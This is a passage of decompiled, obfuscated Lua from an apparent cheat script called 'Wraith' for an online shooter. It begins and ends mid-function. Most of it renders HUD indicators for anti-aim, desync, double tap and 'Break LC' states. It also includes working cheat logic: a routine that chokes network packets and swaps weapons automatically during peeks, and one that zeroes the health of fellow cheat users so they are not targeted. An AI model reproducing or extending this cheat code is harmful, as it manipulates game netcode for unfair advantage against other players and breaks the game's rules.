                local l_value_33 = v122.visuals.indicators_level_1.style.value;
                local v1173 = l_value_28 and v1160;
                if l_value_32 then
                    local l_value_34 = v122.visuals.indicators_level_1.style.color.value;
                    local l_value_35 = v122.visuals.indicators_level_1.build.value;
                    local l_value_36 = v122.visuals.indicators_level_1.build.color.value;
                    local l_value_37 = v122.visuals.indicators_level_1.pulse.value;
                    local v1178 = l_value_33 == "Wraith" and "WRAITH" or "HALF-LIFE";
                    local v1179 = l_value_35 and "BETA" or "";
                    local v1180 = l_value_37 and (v1173 and v1126(20, 100, 0.3) or v1126(20, 210, 0.5)) or v78.smooth_table2.nade_ind;
                    v1143(v1164, {
                        text = string.format("\a%02X%02X%02X%02X%s\a%02X%02X%02X%02X%s", l_value_34.r, l_value_34.g, l_value_34.b, v78.smooth_table2.nade_ind, v1178, l_value_36.r, l_value_36.g, l_value_36.b, v1180, v1179), 
                        color = color(255, 255, 255, 255), 
                        animated = {
                            y = false, 
                            x = false
                        }, 
                        flags = v1170, 
                        animation = {
                            y = 0, 
                            x = v78.smooth_table.wraith or 0
                        }
                    }, 1);
                end;
                local l_value_38 = v122.visuals.indicators_level_2.value;
                local l_value_39 = v122.visuals.indicators_level_2.style.value;
                local l_value_40 = v122.visuals.indicators_level_2.safe.value;
                local l_value_41 = v122.visuals.indicators_level_2.defensive.value;
                local l_value_42 = v122.visuals.indicators_level_2.safe.color.value;
                local l_value_43 = v122.visuals.indicators_level_2.defensive.color.value;
                if l_value_38 then
                    local v1187 = math.abs(math.abs(v78.body_yaw_raw) <= 1 and math.floor(v78.body_yaw_raw + 0.5) or v78.body_yaw_raw < 0 and math.floor(math.max(v78.body_yaw_raw, -58)) or math.ceil(math.min(v78.body_yaw_raw, 58)));
                    local v1188 = math.floor(v1187 / 58 * 100 + 0.5);
                    local v1189 = nil;
                    local v1190 = nil;
                    local v1191 = entity.get_threat(false) ~= nil and entity.get_threat(false):get_index() or 0;
                    if l_value_39 == "Desync" then
                        v1189 = string.format("\a%02X%02X%02X%02X%s", 255, 255, 255, 210, tostring(v1187) .. "%");
                        v1190 = color(255, 255, 255, 210);
                    elseif l_value_39 == "Desync percentage" then
                        v1189 = string.format("\a%02X%02X%02X%02X%s", 255, 255, 255, 210, tostring(v1188) .. "%");
                        v1190 = color(0, 255, 0, 210);
                    elseif l_value_39 == "Half-life" then
                        if v78.round_end_aa then
                            v1189 = string.format("\a%02X%02X%02X%02X%s\a%02X%02X%02X%02X%s", 250, 250, 170, 210, "DORMANCY: ", 255, 255, 255, 210, "O");
                            v1190 = color(255, 255, 0, 210);
                        elseif l_value_41 and rage.exploit:get() == 1 and (v63.double_tap_ref:get() and v63.dt_lag_options_ref:get_override() == "Always On" or v63.hideshots2_ref:get() == "Break LC") and v122.anti_aim.stances[v339.current_state].force_defensive.value then
                            v1189 = string.format("\a%02X%02X%02X%02X%s\a%02X%02X%02X%02X%d", l_value_43.r, l_value_43.g, l_value_43.b, 210, "DEFENSIVE: ", 255, 255, 255, 210, v1191);
                            v1190 = color(255, 0, 0, 210);
                        elseif l_value_40 and v339.current_state == "Height" then
                            v1189 = string.format("\a%02X%02X%02X%02X%s", l_value_42.r, l_value_42.g, l_value_42.b, 210, "SAFE");
                            v1190 = color(0, 0, 255, 210);
                        else
                            local v1192 = math.floor(v78.body_yaw_raw + 0.5);
                            local v1193 = v1192 > 0 and "R" or v1192 < 0 and "L" or "O";
                            v1189 = string.format("\a%02X%02X%02X%02X%s\a%02X%02X%02X%02X%s", 224, 236, 255, 210, "FAKE YAW: ", 255, 255, 255, 210, v1193);
                            v1190 = color(255, 255, 0, 210);
                        end;
                    end;
                    v1190.a = math.floor(v78.smooth_table2.nade_ind);
                    v1143(v1164, {
                        text = v1189, 
                        color = v1190, 
                        animated = {
                            y = false, 
                            x = false
                        }, 
                        flags = v1170, 
                        animation = {
                            y = 0, 
                            x = 0
                        }
                    }, 2);
                end;
                local v1194 = v63.double_tap_ref:get() or v63.hideshots_ref:get();
                local l_indicators_level_3_0 = v122.visuals.indicators_level_3;
                if l_indicators_level_3_0.value then
                    local l_value_44 = l_indicators_level_3_0.animate_text.value;
                    local l_value_45 = l_indicators_level_3_0.dt.value;
                    local l_value_46 = l_indicators_level_3_0.os.value;
                    local l_value_47 = l_indicators_level_3_0.qp.value;
                    local l_value_48 = l_indicators_level_3_0.qp_retreat.value;
                    local v1201 = "";
                    local v1202 = v63.peek_assist_ref:get() and l_value_47 ~= "None" and rage.exploit:get() == 1 and l_value_47 or v63.peek_assist_ref:get() and l_value_48 ~= "None" and rage.exploit:get() == 0 and l_value_48 or v63.double_tap_ref:get() and l_value_45 or v63.hideshots_ref:get() and l_value_46 or v78.exploit_name or "init";
                    if v1194 then
                        v78.exploit_name = v1202;
                    elseif l_value_44 then
                        v78.exploit_name = "";
                    end;
                    local v1203 = v78.exploit_name or "init";
                    if l_value_44 then
                        v78.exploit_tick = v78.exploit_tick or 0;
                        v78.old_exploit_name = v78.old_exploit_name or "";
                        v78.old_exploit_name_text = v78.old_exploit_name_text or "";
                        if v1203 ~= v78.old_exploit_name_text then
                            v78.old_exploit_name = v78.old_exploit_name_text;
                            v78.old_exploit_name_text = v1203;
                        end;
                        local l_v78_0 = v78;
                        local v1205, v1206 = v1136(v78.exploit_tick, v1203, v78.old_exploit_name, 80);
                        v1201 = v1206;
                        l_v78_0.exploit_tick = v1205;
                    end;
                    local l_v1143_0 = v1143;
                    local l_v1164_0 = v1164;
                    local v1209 = {};
                    local v1210;
                    if not l_value_44 or not v1201 then
                        v1210 = v1203;
                    else
                        v1210 = v1201;
                    end;
                    v1209.text = v1210;
                    v1209.color = color(255, 255, 255, 210);
                    v1209.animated = {
                        y = true, 
                        x = false
                    };
                    v1209.flags = v1170;
                    v1209.animation = v78.smooth_table.popping or {
                        y = 0, 
                        x = 0
                    };
                    l_v1143_0(l_v1164_0, v1209, 3);
                    l_v1143_0 = 210;
                    if v1194 then
                        l_v1143_0 = v1173 and l_value_29 or 210;
                        v78.smooth_table.popping = {
                            x = v78.smooth_table.popping and math.ceil(v78.smooth_table.popping.x) or 0, 
                            y = v155(v78.smooth_table.popping and v78.smooth_table.popping.y or 0, 0, globals.frametime * 10)
                        };
                        v78.smooth_table.dt_alpha = v155(v78.smooth_table.dt_alpha or l_v1143_0, l_v1143_0, globals.frametime * 10);
                        if rage.exploit:get() == 0 then
                            v78.smooth_table.dt_alpha = v155(v78.smooth_table.dt_alpha, 100, globals.frametime * 20);
                        else
                            v78.smooth_table.dt_alpha = v155(v78.smooth_table.dt_alpha, l_v1143_0, globals.frametime * 10);
                        end;
                        v1138[3].color.a = v78.smooth_table.dt_alpha;
                    else
                        v78.smooth_table.popping = v78.smooth_table.popping or {
                            y = 0, 
                            x = 0
                        };
                        v78.smooth_table.popping.y = v155(v78.smooth_table.popping.y or 0, render.measure_text(v1165, nil, "DT").y - 1 + l_value_27, globals.frametime * 10);
                        v78.smooth_table.dt_alpha = v155(v78.smooth_table.dt_alpha or 0, 0, globals.frametime * 15);
                        v1138[3].color.a = v78.smooth_table.dt_alpha;
                    end;
                end;
                local l_indicators_level_4_0 = v122.visuals.indicators_level_4;
                if l_indicators_level_4_0.value then
                    local v1212 = v151(v78, "Min. Damage");
                    local v1213 = v151(v78, "Hit Chance");
                    local function v1221(v1214, v1215, v1216, v1217)
                        -- upvalues: v78 (ref), v155 (ref)
                        local v1218 = v78.smooth_table[v1214 .. "_alpha"] or v1216;
                        local v1219 = v1215 and v1217 or v1216;
                        local v1220 = v155(v1218, v1219, globals.frametime * 15);
                        v78.smooth_table[v1214 .. "_alpha"] = v1220;
                        return v1220;
                    end;
                    do
                        local l_v1212_0, l_v1213_0 = v1212, v1213;
                        local function v1226(v1224)
                            -- upvalues: l_indicators_level_4_0 (ref), v63 (ref), v122 (ref), v339 (ref), l_v1212_0 (ref), l_v1213_0 (ref)
                            local l_value_49 = l_indicators_level_4_0["item_" .. v1224].value;
                            if l_value_49 == "Safe point" then
                                return "sp", v63.safe_point_ref:get() == "Force";
                            elseif l_value_49 == "Body aim" then
                                return "baim", v63.body_aim_ref:get() == "Force";
                            elseif l_value_49 == "Freestanding" then
                                return "fs", v122.anti_aim.freestanding.value;
                            elseif l_value_49 == "Manual AA" then
                                return "manual", v339.m_state ~= "reset" and v122.anti_aim.stances.Manual.active.value;
                            elseif l_value_49 == "Min. damage" then
                                return "md", l_v1212_0;
                            elseif l_value_49 == "Hit chance" then
                                return "hc", l_v1213_0;
                            else
                                return nil, false;
                            end;
                        end;
                        for v1227 = 1, 3 do
                            local v1228, v1229 = v1226(v1227);
                            if v1228 then
                                v78.smooth_table["item_" .. v1227] = v1221(v1228, v1229, 100, 210);
                            end;
                        end;
                        local function v1237(v1230)
                            -- upvalues: v78 (ref), l_indicators_level_4_0 (ref), v339 (ref)
                            local v1231 = v78.smooth_table["item_" .. v1230] or 100;
                            local l_value_50 = l_indicators_level_4_0["item_" .. v1230].value;
                            local v1233 = {
                                Freestanding = "Fs", 
                                ["Hit chance"] = "Hc", 
                                ["Body aim"] = l_indicators_level_4_0.baim.value, 
                                ["Safe point"] = l_indicators_level_4_0.safe.value, 
                                ["Manual AA"] = l_indicators_level_4_0.manual.value, 
                                ["Min. damage"] = l_indicators_level_4_0.md.value
                            };
                            if l_value_50 == "Manual AA" then
                                local v1234 = v339.m_state == "reset" and "X" or string.sub(v339.m_state or "reset", 1, 1):upper();
                                local v1235 = l_indicators_level_4_0.manual.value == "Ma" and "MA" or "M" .. v1234;
                                return ("\a%s%s"):format(string.format("%02X%02X%02X%02X", 255, 255, 255, v1231), v1235);
                            else
                                local v1236 = v1233[l_value_50] or l_value_50;
                                return ("\a%s%s"):format(string.format("%02X%02X%02X%02X", 255, 255, 255, v1231), v1236);
                            end;
                        end;
                        local v1238 = ("%s  %s  %s"):format(v1237(1), v1237(2), v1237(3));
                        v1143(v1164, {
                            text = v1238, 
                            color = color(255, 255, 255, math.floor(v78.smooth_table2.nade_ind)), 
                            animated = {
                                y = true, 
                                x = false
                            }, 
                            flags = v1170, 
                            animation = {
                                x = -v78.smooth_table.popping.x, 
                                y = l_indicators_level_3_0 and (v1194 and math.ceil(-v78.smooth_table.popping.y) or math.floor(-v78.smooth_table.popping.y)) or 0
                            }
                        }, 4);
                    end;
                end;
                local l_indicators_level_5_0 = v122.visuals.indicators_level_5;
                if l_indicators_level_5_0.value then
                    local l_value_51 = l_indicators_level_5_0.animate_text.value;
                    local l_value_52 = l_indicators_level_5_0.stance.color.value;
                    local v1242 = v78.current_state_synced or "init";
                    local v1243 = "";
                    if l_value_51 then
                        v78.stance_tick = v78.stance_tick or 0;
                        v78.old_state_synced = v78.old_state_synced or "";
                        v78.old_stance_text = v78.old_stance_text or "";
                        if v1242 ~= v78.old_stance_text then
                            v78.old_state_synced = v78.old_stance_text;
                        end;
                        v78.old_stance_text = v1242 or "init";
                        local l_v78_1 = v78;
                        local v1245, v1246 = v1136(v78.stance_tick, v1242, v78.old_state_synced, 80);
                        v1243 = v1246;
                        l_v78_1.stance_tick = v1245;
                    end;
                    if l_indicators_level_5_0.stance.value then
                        local l_v1143_1 = v1143;
                        local l_v1164_1 = v1164;
                        local v1249 = {};
                        local l_format_0 = string.format;
                        local v1251 = "\a%02X%02X%02X%02X%s";
                        local l_r_4 = l_value_52.r;
                        local l_g_4 = l_value_52.g;
                        local l_b_4 = l_value_52.b;
                        local v1255 = math.floor(v78.smooth_table2.nade_ind);
                        local v1256;
                        if not l_value_51 or not v1243 then
                            v1256 = v78.current_state_synced;
                        else
                            v1256 = v1243;
                        end;
                        v1249.text = l_format_0(v1251, l_r_4, l_g_4, l_b_4, v1255, v1256);
                        v1249.color = color(255, 255, 255, l_value_52.a);
                        v1249.animated = {
                            y = true, 
                            x = false
                        };
                        v1249.flags = v1170;
                        v1249.animation = {
                            x = -v78.smooth_table.popping.x, 
                            y = l_indicators_level_3_0 and (v1194 and math.ceil(-v78.smooth_table.popping.y) or math.floor(-v78.smooth_table.popping.y)) or 0
                        };
                        l_v1143_1(l_v1164_1, v1249, 5);
                    end;
                end;
                v78.smooth_table2.nade_ind = v155(v78.smooth_table2.nade_ind or v1173 and 210 or l_value_29, v1173 and l_value_29 or 210, globals.frametime * 4);
                for v1257, v1258 in pairs(v1164) do
                    v1258.text = v1165 == 2 and string.upper(v1258.text) or l_value_26 == "Lower" and string.lower(v1258.text) or string.upper(v1258.text);
                    local v1259 = render.measure_text(v1165, nil, v1258.text);
                    local v1260 = math.floor(v1259.x * 0.5);
                    v78.smooth_table[v1257] = v78.smooth_table[v1257] or 0;
                    v78.smooth_table[v1257] = v155(v78.smooth_table[v1257], l_value_30 == "Always" and v1156 + 3 or l_value_30 == "Never" and v1156 - v1260 or l_value_30 == "On scope" and (v1155.m_bIsScoped and v1156 + 3 or not v1155.m_bIsScoped and v1156 - v1260) or v78.smooth_table[v1257], globals.frametime * l_value_31);
                    local v1261 = v1157 + (v1257 - 1) * (v1259.y - 1 + l_value_27) + v1259.y * 2;
                    render.text(v1165, vector((v1155.m_bIsScoped and l_value_30 == "On scope" and math.ceil(v78.smooth_table[v1257]) or math.ceil(v78.smooth_table[v1257])) + (v1258.animated.x and math.ceil(-v1258.animation.x) or 0), v1261 + (v1258.animated.y and v1258.animation.y or 0)), v1258.color, v1258.flags, v1258.text);
                end;
                return;
            end;
        end;
    end;
end;
local function v1270(v1263, v1264)
    -- upvalues: v122 (ref), v78 (ref), v53 (ref)
    if not v122.visuals.samp_logs.value then
        return;
    else
        local v1265 = 0;
        local v1266 = 0;
        for _, v1268 in ipairs(v78.hurt_table) do
            if v1268.type == "hit" then
                render.text(v53, vector(v1263 / 1.5, v78.screen_size.y - v1264 / 1.75 + 23 * v1265), color(255, 255, 255, 210), "c", "\aB6FF9BD2" .. v1268.name .. " - " .. (v1268.weapon:sub(1, 1):upper() .. v1268.weapon:sub(2):lower()) .. "\affffffD2  +" .. math.clamp(v1268.damage, 0, 100));
                v1265 = v1265 + 1;
            elseif v1268.type == "hurt" then
                if v1268.name == "CWorld" then
                    v1268.name = entity.get_local_player():get_name();
                    v1268.weapon = "World damage";
                end;
                render.text(v53, vector(v78.screen_size.x - v1263 / 1.5, v78.screen_size.y - v1264 / 1.75 + 23 * v1266), color(255, 255, 255, 210), "c", "\ad2d2ffD2" .. v1268.name .. " - " .. (v1268.weapon:sub(1, 1):upper() .. v1268.weapon:sub(2):lower()) .. "\affffffD2  -" .. math.clamp(v1268.damage, 0, 100));
                v1266 = v1266 + 1;
            end;
        end;
        for v1269 = #v78.hurt_table, 1, -1 do
            if v78.hurt_table[v1269].time + 4 < globals.curtime or v78.hurt_table[v1269].time > globals.curtime then
                table.remove(v78.hurt_table, v1269);
            end;
        end;
        return;
    end;
end;
local function v1280()
    -- upvalues: v78 (ref), v122 (ref), v65 (ref)
    if v78.ui_alpha <= 0 then
        return;
    elseif not v122.misc.display_leaderboard.value then
        return;
    else
        local v1271 = "";
        local v1272 = "%d. " .. v65.light_gray .. "%s\n";
        local v1273 = "\t" .. v65.light_gray .. "Level: %d\tRespect: %d\tSpree: %d\n";
        for v1274, v1275 in ipairs(v78.leaderboard_data) do
            local v1276 = v1275[1];
            local v1277 = v1275[2];
            local v1278 = v1275[3];
            local v1279 = v1275[4];
            if v1274 == 1 then
                v1272 = "%d. " .. v65.light_yellow .. "%s\n";
            elseif v1274 == 2 then
                v1272 = "%d. " .. v65.silver .. "%s\n";
            elseif v1274 == 3 then
                v1272 = "%d. " .. v65.bronze .. "%s\n";
            else
                v1272 = "%d. " .. v65.light_gray .. "%s\n";
            end;
            v1271 = v1271 .. string.format(v1272 .. v1273, v1274, v1276, v1277, v1278, v1279);
            if v1274 >= 10 then
                break;
            end;
        end;
        if v1271 ~= "" then
            v122.misc.leaderboard:name(v1271);
        end;
        return;
    end;
end;
local function v1289()
    -- upvalues: v78 (ref), v122 (ref), v65 (ref)
    if v78.ui_alpha <= 0 then
        return;
    else
        v122.misc.search_board:visibility(next(v78.searched_player_data) ~= nil);
        if type(v78.searched_player_data) ~= "table" then
            return;
        elseif v78.searched_player_data.name == nil then
            return;
        else
            local v1281 = "%d. " .. v65.light_gray .. "%s\n";
            local v1282 = "\t" .. v65.light_gray .. "Level: %d\tRespect: %d\tSpree: %d\n";
            local v1283 = v78.searched_player_data.name or "Unknown";
            local v1284 = v78.searched_player_data.level or 0;
            local v1285 = v78.searched_player_data.total_respect or 0;
            local v1286 = v78.searched_player_data.respect_highest_spree or 0;
            local v1287 = v78.searched_player_data.placement or 0;
            if v1287 == 1 then
                v1281 = "%d. " .. v65.light_yellow .. "%s\n";
            elseif v1287 == 2 then
                v1281 = "%d. " .. v65.silver .. "%s\n";
            elseif v1287 == 3 then
                v1281 = "%d. " .. v65.bronze .. "%s\n";
            end;
            local v1288 = string.format(v1281 .. v1282, v1287, v1283, v1284, v1285, v1286);
            v122.misc.search_board:name(v1288);
            return;
        end;
    end;
end;
local function v1291()
    -- upvalues: v54 (ref), v78 (ref), v58 (ref), v59 (ref)
    local l_x_3 = render.measure_text(v54, "o", "Season").x;
    v78.tourney_indicators = {
        [1] = {
            text = "wraith", 
            font = v58, 
            add_pos = {
                y = 0, 
                x = -5
            }, 
            color = color(255, 255, 255, 245), 
            text_width = render.measure_text(v58, nil, "wraith").x
        }, 
        [2] = {
            text = "respect", 
            font = v58, 
            add_pos = {
                y = 0, 
                x = 10
            }, 
            color = color(255, 255, 255, 245), 
            text_width = render.measure_text(v58, nil, "respect").x
        }, 
        [3] = {
            text = "spree", 
            font = v58, 
            add_pos = {
                y = 0, 
                x = -13
            }, 
            color = color(255, 255, 255, 245), 
            text_width = render.measure_text(v58, nil, "spree").x
        }, 
        [4] = {
            text = "tournament", 
            font = v59, 
            add_pos = {
                y = 0, 
                x = 0
            }, 
            color = color(169, 204, 222, 255), 
            text_width = render.measure_text(v59, nil, "tournament").x
        }, 
        [5] = {
            text = "Season", 
            font = v54, 
            add_pos = {
                y = 10, 
                x = 100
            }, 
            color = color(255, 255, 255, 255), 
            text_width = l_x_3
        }, 
        [6] = {
            text = "BETA", 
            font = v54, 
            add_pos = {
                y = 33, 
                x = 97 + l_x_3
            }, 
            color = color(216, 192, 121, 255), 
            text_width = render.measure_text(v54, "o", "BETA").x
        }
    };
end;
local function v1295()
    -- upvalues: v122 (ref), v78 (ref), v1291 (ref), v50 (ref)
    if not v122.misc.tournament_watermark.value then
        return;
    else
        local l_screen_size_8 = v78.screen_size;
        v1291();
        v45_safe_texture_0(v50, vector(l_screen_size_8.x * 0.5 + l_screen_size_8.x * -0.020765625, l_screen_size_8.y + l_screen_size_8.y * -0.086806), vector(l_screen_size_8.x * 0.078125, l_screen_size_8.x * 0.078125), v122.misc.tournament_watermark.color.value, nil);
        for v1293, v1294 in ipairs(v78.tourney_indicators) do
            render.text(v1294.font, vector((l_screen_size_8.x - l_screen_size_8.x * 0.03086875 - v1294.text_width) * 0.5 + v1294.add_pos.x, l_screen_size_8.y - l_screen_size_8.y * 0.069444 - v1294.add_pos.y + (v1293 - 1) * (l_screen_size_8.y * 0.016)), v1294.color, v1294.flags, v1294.text);
        end;
        return;
    end;
end;
local function v1296()
    -- upvalues: v122 (ref), v63 (ref)
    if not v122.misc.disable_os.value then
        return;
    else
        if v63.double_tap_ref:get() and v63.hideshots_ref:get() then
            v63.hideshots_ref:set(false);
        end;
        return;
    end;
end;
local function v1306(v1297)
    -- upvalues: v122 (ref), v78 (ref), v51 (ref)
    if not v122.visuals.kill_count_option.value and not v122.misc.shared_users.scoreboard_icon.value then
        return;
    else
        local v1298 = 0;
        local v1299 = 0;
        local v1300 = 0;
        if v122.visuals.kill_count_option.value then
            v1298 = v122.visuals.kill_count_option.kill_count_limit.value;
            v1299 = v122.visuals.kill_count_option.kill_count_icon_color.value;
            v1300 = v122.visuals.kill_count_option.kill_count_text_color.value;
        end;
        for v1301, v1302 in pairs(v78.net_player_data.current) do
            if v1301 and v1301 ~= v1297:get_index() and v1302 then
                if v122.visuals.kill_count_option.value and v1302.is_enemy then
                    local v1303 = v1302.m_iNumRoundKills or 0;
                    if v1298 <= v1303 then
                        local l_bbox_0 = v1302.bbox;
                        if l_bbox_0.pos1 then
                            local v1305 = (l_bbox_0.pos1.x + l_bbox_0.pos2.x) * 0.5;
                            v45_safe_texture_0(v51, vector(v1305 - 13, l_bbox_0.pos1.y - 25), vector(12, 12), color(v1299.r, v1299.g, v1299.b, l_bbox_0.alpha * v1299.a), "r");
                            render.text(4, vector(v1305 + 6, l_bbox_0.pos1.y - 20), color(v1300.r, v1300.g, v1300.b, l_bbox_0.alpha * v1300.a), "c", "x" .. v1303);
                        end;
                    end;
                end;
                if v78.is_wraith_user_list ~= nil and v122.misc.shared_users.value and v122.misc.shared_users.scoreboard_icon.value and v78.is_wraith_user_list[v1301] and (not v78.banned_voice_user_list or not v78.banned_voice_user_list[v1301]) then

                end;
            end;
        end;
        return;
    end;
end;
local function v1310(v1307)
    -- upvalues: v122 (ref), v78 (ref)
    if not v122.misc.shared_users.value or not v122.misc.whitelist_users.value then
        return;
    else
        for v1308, v1309 in pairs(v78.net_player_data.current) do
            v1309 = entity.get(v1308);
            if v78.is_wraith_user_list ~= nil and v78.is_wraith_user_list[v1308] and (not v78.banned_voice_user_list or not v78.banned_voice_user_list[v1308]) then
                if v1307 == 0 then
                    if v1309.m_iHealth ~= 0 then
                        v78.stored_health = v1309.m_iHealth;
                    end;
                    v1309.m_iHealth = 0;
                else
                    v1309.m_iHealth = v78.stored_health == nil and 100 or v78.stored_health;
                end;
            end;
        end;
        return;
    end;
end;
local function v1313(v1311)
    local v1312 = "";
    if not string.find(v1311, "cweapon") then
        v1312 = "weapon_" .. string.sub(v1311, 2):lower();
    else
        v1312 = "weapon_" .. string.sub(v1311, 8):lower();
    end;
    if v1312 == "weapon_incendiarygrenade" then
        v1312 = "weapon_incgrenade";
    end;
    return v1312;
end;
local function v1313_safe_weapon_classname_0(v1311)
    if type(v1311) == "string" and v1311 ~= "" then
        return v1311:lower();
    end;
    return nil;
end;
local v1314 = false;
local v1315 = false;
local v1316 = false;
local function v1340(v1317, v1318)
    -- upvalues: v78 (ref), v122 (ref), v63 (ref), v1314 (ref), v1315 (ref), v1313 (ref), v1316 (ref), v1313_safe_weapon_classname_0 (ref)
    v78.hittable = entity.get_threat(true) ~= nil;
    if not v122.misc.quick_retreat.value then
        return;
    else
        local v1319 = v1317.m_vecVelocity:length();
        local l_m_bIsScoped_0 = v1317.m_bIsScoped;
        if v78.ducking then
            return;
        else
            local v1321 = v63.double_tap_ref:get();
            local v1322 = v63.hideshots_ref:get();
            local v1323 = v63.peek_assist_ref:get();
            local l_activate_during_0 = v122.misc.quick_retreat.activate_during;
            local l_retreat_features_0 = v122.misc.quick_retreat.retreat_features;
            local v1326 = rage.exploit:get();
            local l_value_53 = v122.misc.quick_retreat.take_knife_ticks.value;
            if l_activate_during_0:get("Dry peek") and v1323 and not v1321 and not v1322 then
                v78.last_peek_tick_count = v78.last_peek_tick_count or 0;
                if v78.hittable and not v78.was_hittable then
                    v78.last_peek_tick_count = globals.tickcount;
                end;
                v78.was_hittable = v78.hittable;
                if globals.tickcount - v78.last_peek_tick_count >= 3 then
                    if v1318.choked_commands <= 14 and (v78.hittable or v1314) then
                        v1318.send_packet = false;
                        if v78.was_hittable then
                            v1314 = true;
                        end;
                    end;
                    if v1318.choked_commands >= 14 then
                        v1314 = false;
                    end;
                end;
            end;
            local l_weapon_2 = v78.weapon;
            if not l_weapon_2 then
                return;
            else
                local v1329 = l_weapon_2:get_weapon_index();
                if not v1329 then
                    return;
                else
                    local v1330 = v78.old_weapon_classname;
                    local v1331 = v78.current_weapon_classname;
                    if v1331 == nil then
                        local l_status_0, l_result_0 = pcall(function()
                            return l_weapon_2:get_classname():lower();
                        end);
                        if l_status_0 and type(l_result_0) == "string" then
                            v1331 = l_result_0;
                            v78.current_weapon_classname = v1331;
                        end;
                    end;
                    if l_weapon_2 and l_weapon_2 ~= v78.current_weapon then
                        if v78.old_weapon_fix == "wait" then
                            v78.old_weapon_fix = nil;
                        else
                            v78.old_weapon_classname = v1313_safe_weapon_classname_0(v78.current_weapon_classname);
                        end;
                        v78.old_weapon = nil;
                        v78.current_weapon = l_weapon_2;
                        v78.current_weapon_classname = v1331;
                        v1330 = v78.old_weapon_classname;
                    end;
                    local v1333 = false;
                    if l_activate_during_0:get("Dry peek") and l_activate_during_0:get("Fakelag") and v1326 == 0 then
                        v1333 = v78.fire_registered;
                    else
                        v1333 = v78.rage_fire;
                    end;
                    local v1334 = v1317:get_origin();
                    v78.quick_peek_position = v1323 and (v78.quick_peek_position or v1334) or v1334;
                    local v1335 = vector(v1334.x - v78.quick_peek_position.x, v1334.y - v78.quick_peek_position.y, v1334.z - v78.quick_peek_position.z):length();
                    local v1336 = 240;
                    local v1337 = 64;
                    local v1338 = v1335 / v1336;
                    local v1339 = math.ceil(v1338 * v1337);
                    if l_m_bIsScoped_0 then
                        v1315 = true;
                    end;
                    if (not l_retreat_features_0:get("Preferred weapons only") or v1329 == 11 or v1329 == 38 or v1329 == 1 or v1329 == 40 or v1329 == 9) and v1323 and v1333 and v78.quick_knife_time == 0 and (l_activate_during_0:get("Fakelag") or v1326 == 1 and (v1321 and not v1322 or v1321)) and v1339 >= 10 then
                        if v1330 ~= nil then
                            v78.last_qp_weapon = v1313(v1330);
                        else
                            v78.last_qp_weapon = "weapon_knife";
                        end;
                        v78.quick_pick_ssg_time = 0;
                        v78.old_weapon_fix = v78.old_weapon_classname;
                        if v1331 ~= nil then
                            v78.qp_weapon = v1313(v1331);
                        end;
                        if v78.defensive and l_activate_during_0:get("Defensive escape") and v1326 == 1 or v1326 == 1 and not l_activate_during_0:get("Defensive escape") or v1326 == 0 and l_activate_during_0:get("Fakelag") then
                            utils.console_exec("use weapon_knife");
                            v78.quick_knife_time = globals.tickcount;
                        end;
                    end;
                    if v78.quick_peek_position and v78.quick_knife_time ~= 0 and (v1336 <= v1319 or globals.tickcount > v78.quick_knife_time + (l_value_53 == 0 and (v1326 == 1 and math.floor(v1339 / 4) or v1339) or l_value_53)) then
                        if v78.last_qp_weapon and l_retreat_features_0:get("Preserve last weapon") then
                            utils.console_exec("use " .. v78.last_qp_weapon);
                        end;
                        v78.last_qp_weapon = nil;
                    end;
                    if v78.quick_knife_time ~= 0 and v78.last_qp_weapon == nil then
                        utils.console_exec("use " .. v78.qp_weapon);
                        if v78.old_weapon_fix ~= "wait" then
                            v78.old_weapon_classname = v78.old_weapon_fix;
                        end;
                        v78.old_weapon_fix = "wait";
                        v78.quick_knife_time = 0;
                        v78.quick_pick_ssg_time = 0;
                        v1316 = true;
                    end;
                    if v1315 and not l_m_bIsScoped_0 and v1316 and l_retreat_features_0:get("Auto scope") then
                        if v78.can_fire and v78.weapon_info.weapon_type == 5 then
                            v1318.in_attack2 = true;
                            v1315 = false;
                            v1316 = false;
                        elseif v78.can_fire and v78.weapon_info.weapon_type ~= 5 then
                            v1315 = false;
                            v1316 = false;
                        end;
                    end;
                    return;
                end;
            end;
        end;
    end;
end;
v78.lc_indicator_timer = v78.lc_indicator_timer or 0;
v78.lc_indicator_message = v78.lc_indicator_message or nil;
v78.lc_indicator_color = v78.lc_indicator_color or nil;
v78.max_delta_sq = v78.max_delta_sq or nil;
v78.lc_indicator_position = v78.lc_indicator_position or vector(v78.screen_size.x / 2, v78.screen_size.y - 100);
v78.lc_outline_alpha = v78.lc_outline_alpha or 0;
local function v1364()
    -- upvalues: v122 (ref), v78 (ref), v731 (ref), v729 (ref), v969 (ref), v423 (ref), v155 (ref)
    if not v122.visuals.break_lc_manager.value then
        return;
    else
        local v1341 = 0;
        if v78.origin_delta then
            v1341 = math.floor(v78.origin_delta:lengthsqr());
        end;
        local v1342 = v731[v122.visuals.break_lc_manager.font.value] or v731.Default;
        local v1343 = rage.exploit:get();
        local l_tickcount_2 = globals.tickcount;
        if v78.last_exploit_state and v78.last_exploit_state > 0.5 and v1343 == 0 then
            v78.lc_check_start_tick = l_tickcount_2;
            v78.lc_check_end_tick = l_tickcount_2 + 14;
            v78.lc_broken_within_window = false;
            v78.lc_indicator_timer = nil;
            v78.max_delta_sq = v1341;
        end;
        if v78.lc_check_start_tick and l_tickcount_2 <= v78.lc_check_end_tick then
            if not v78.max_delta_sq or v78.max_delta_sq < v1341 then
                v78.max_delta_sq = v1341;
            end;
            if v78.breaking_lc and not v78.lc_broken_within_window then
                v78.lc_broken_within_window = true;
                v78.lc_indicator_message = "[" .. v1341 .. "] BREAK LC: SUCCESS";
                v78.lc_indicator_color = color(0, 255, 0, 220);
                v78.lc_indicator_timer = globals.curtime + 1;
                if v122.visuals.break_lc_manager.sound.value then
                    cvar.play:call("common\\wpn_select.wav");
                end;
            end;
        end;
        if v78.lc_check_start_tick and v78.lc_check_end_tick < l_tickcount_2 then
            if not v78.lc_broken_within_window then
                v78.lc_indicator_message = "[" .. (v78.max_delta_sq or v1341) .. "] BREAK LC: FAILED";
                v78.lc_indicator_color = color(255, 0, 0, 220);
                v78.lc_indicator_timer = globals.curtime + 1;
            end;
            v78.lc_check_start_tick = nil;
            v78.lc_check_end_tick = nil;
            v78.max_delta_sq = nil;
        end;
        if not v122.visuals.break_lc_manager.indicator:get("Distance") and not v122.visuals.break_lc_manager.indicator:get("Background") then
            v78.last_exploit_state = v1343;
            return;
        else
            local v1345 = nil;
            local v1346 = nil;
            if v78.ui_alpha > 0 then
                if v78.lc_indicator_timer and globals.curtime <= v78.lc_indicator_timer and v78.lc_indicator_message then
                    v1345 = v78.lc_indicator_message;
                    v1346 = v78.lc_indicator_color;
                else
